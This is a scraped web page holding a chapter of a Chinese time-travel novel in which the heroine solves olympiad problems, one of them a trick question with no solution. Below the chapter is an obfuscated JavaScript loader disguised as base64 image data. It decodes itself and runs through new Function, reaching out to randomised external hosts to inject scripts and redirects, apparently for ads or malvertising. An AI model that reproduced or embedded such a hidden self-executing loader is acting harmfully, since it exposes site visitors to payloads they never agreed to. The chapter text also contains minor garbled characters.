首页
第338章 无解题
返回

第338章 无解题

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    时珈一站在人群里,努力让自己不要表现得太激动。
    她心里翻江倒海,脸上却努力维持着一副波澜不惊的表情。
    一个个都是不亚于库兹涅佐夫一样的大佬!谁懂啊!穿越回这个年代,真的很容易长见识!
    不仅仅是她,所有人都长了不少见识!
    这时,各个学校的主事人,很自觉地一一上前和他们打招呼。
    一个个握着手你来我往的,旁边的记者拍照都拍不赢了。
    但是他们又很有分寸的隔开一段距离,毕竟眼前这几人都不是能接受采访的性格。
    天才的教授,自然有他们的傲气。若不是柯尔莫哥洛夫组织,谁能把他们凑一块啊。
    教授们寒暄了近十分钟后,时间终于来到九点。
    钟塔声音响起来的那一刻,各个学校的带队人立马现场安抚了一下参赛学生,然后让他们有序的进考场。
    副校长和一位学校的带队人聊的正热烈,根本没有对他们说什么“不要紧张”之类的话,似乎是十分相信他们的表现。
    而考场是设在一个大教室里,长方形的空间,能容纳将近两百人。
    这个时候的M大刚刚修缮过,所以和鲍曼一样,都有很大的教室!
    桌椅排列整齐,每一张桌子上都放着几张白纸、一支铅笔和一块橡皮。
    黑板上用粉笔写着几行字。
    ——第一届全苏大学生数学奥林匹克。时间:9:00—13:00。
    坐在考场里,时珈一发现人数比她想象的要多太多了。
    她以为能凑出来一百人就不错了,没想到整个教室几乎都坐满了!
    不过,大部分学校只有三五个人参赛,只有像M斯科大学、L宁格勒大学以及鲍曼这样的老牌强校,动辄能派出十几个人的庞大阵容。
    等监考老师到齐后,试卷发了下来。
    时珈一先仔细看了一下这一次的是理论卷,居然全部是证明题。
    数论、组合数学、几何各一道,还有一道偏微分方程的应用题。
    第一题。
    设P是一个奇素数。定义n为满足p丨(2n-1)的最小正整数。
    请证明以下两个结论:
    1,整除关系:n必定整除p-1。
    2,形式限制:p必定具有2nk+1的形式,其中k是某个正整数。
    时珈一看到这题目的瞬间抽了抽嘴角。
    天塌了,一上来就开大?这是关于梅森数的素因子结构特征。
    她现在怀疑时间真的不够用了。
    嘴上哔哔哔,但解题一点都不慢。
    这道题其实是在玩余数循环的游戏,幸好,她的数学数论课程学的还不错。
    解题需要学到同余理论,以及费马小定理,还有阶的定义和性质,以及带余除法和反证法。还有基本的奇偶性分析。
    但是,这道题容错点很多很多,比如混淆概念。
    题目是从一个素数p出发,去寻找它的性质,而不是先给定一个梅森数。还有证明n丨(p-1)的逻漏漏洞等等!
    时珈一确认自己理解的不错后,就开始正式解题了。
    第一步,是理解最小周期。
    第二步,利用费马小定理。
    第三步,证明n整除p611。
    第四步,就是推导P的形式。
    时珈一写得很快,思路非常流畅。
    彼得罗夫这半个月的魔鬼训练确实有效果,至少她现在知道,数学竞赛的题目,各个都比她之前训练的要难了不少。
    花了将近半个小时才写完这题,她翻了翻卷子看第二题。
    是一道经典的组合数学题目。
    用数字0,1,2,3,4,5这六个不同的数字,组成一个没有重复数字的六位数。
    问:有多少个这样的六位数能被11整除?
    时珈一几乎没有计算,就一眼看出来了答案。
    为什么?因为0,1,2,3,4,5这六个不同的数字,不可能组成一个没有重复数字的六位数。
    无解的题目,在于它根本就拆不开这六个数字!
    第一个原因,一个数要想被11整除,它必须满足一个硬指标。
    奇数位置上的数字之和与偶数位置上的数字之和,这两个和的差,必须是11的倍数,比如0、11、22等。
    把六位数想象成有两支队伍。
    奇数队,第1、3、5位上的数字。
    偶数队,第2、4、6位上的数字。
    第二个原因,题目给的数字是:0、1、2、3、4、5。
    不管怎么排列,这6个数字的总和是固定的:0+1+2+3+4+5=15。
    第三个原因,可以先试着把这15分分给两支队伍。
    如果两队分数一样,那每队就得是7.5分,也就是15÷2。
    但数字都是整数,不可能凑出7.5分。所以,两队分数永远不可能一样。
    那能不能两队分数相差11?这样可以达到整除11?
    比如总分15分,如果两队相差11分,那两队各得多少分?
    这是一个简单的和差问题。
    分数多的队:(15+11)÷2=13分
    分数少的队:(15-11)÷2=2分
    也就是说,要想被11整除,必须能从0,1,2,3,4,5里挑出3个数字,让它们的和等于2,这样另一队自然就是13分。
    致命的问题来了。
    根本凑不出2分!
    要从0,1,2,3,4,5里挑出3个不重复的数字,让它们加起来等于2。
    这堆数字里最小的三个是谁?
    是0、1、2。
    这三个最小的数字加起来是:0+1+2=3。
    挑最小的三个数,和都是3了,根本不可能凑出2来!
    时珈一一脸自信!这题目其实挺好玩的,因为这是一个巨大的思维陷阱,而且,整个验算根本不需要高深一点的公式,加减乘除和排列组合公式就可以解决。
    有点像后世的小学生作业上的思维拓展题目,但是在这个年代却是很有趣的。
    但是,如果看不出来这题目的无解,就会陷入无限循环的计算中.......
    她乐滋滋地检查一遍,再一次被自己的思维缜密给折服!
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="o50hvng3np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/On0hX2ps2J/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"On0hX2ps2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY8On0hX2ps2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();